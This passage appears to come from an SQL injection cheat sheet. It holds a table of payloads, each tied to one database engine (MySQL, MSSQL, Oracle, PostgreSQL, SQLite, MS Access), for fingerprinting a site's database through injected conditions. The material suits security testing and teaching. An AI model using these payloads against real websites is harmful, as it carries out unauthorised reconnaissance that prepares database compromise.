Certain SQL keywords are specific to particular database management systems (DBMS). By using these keywords in SQL injection attempts and observing how the website responds, you can often determine the type of DBMS in use. | DBMS | SQL Payload | | ---------- | ------------------------------------------------- | | MySQL | `conv('a',16,2)=conv('a',16,2)` | | MySQL | `connection_id()=connection_id()` | | MySQL | `crc32('MySQL')=crc32('MySQL')` | | MSSQL | `BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)` | | MSSQL | `@@CONNECTIONS>0` | | MSSQL | `@@CONNECTIONS=@@CONNECTIONS` | | MSSQL | `@@CPU_BUSY=@@CPU_BUSY` | | MSSQL | `USER_ID(1)=USER_ID(1)` | | ORACLE | `ROWNUM=ROWNUM` | | ORACLE | `RAWTOHEX('AB')=RAWTOHEX('AB')` | | ORACLE | `LNNVL(0=123)` | | POSTGRESQL | `5::int=5` | | POSTGRESQL | `5::integer=5` | | POSTGRESQL | `pg_client_encoding()=pg_client_encoding()` | | POSTGRESQL | `get_current_ts_config()=get_current_ts_config()` | | POSTGRESQL | `quote_literal(42.5)=quote_literal(42.5)` | | POSTGRESQL | `current_database()=current_database()` | | SQLITE | `sqlite_version()=sqlite_version()` | | SQLITE | `last_insert_rowid()>1` | | SQLITE | `last_insert_rowid()=last_insert_rowid()` | | MSACCESS | `val(cvar(1))=1` | | MSACCESS | `IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0` |
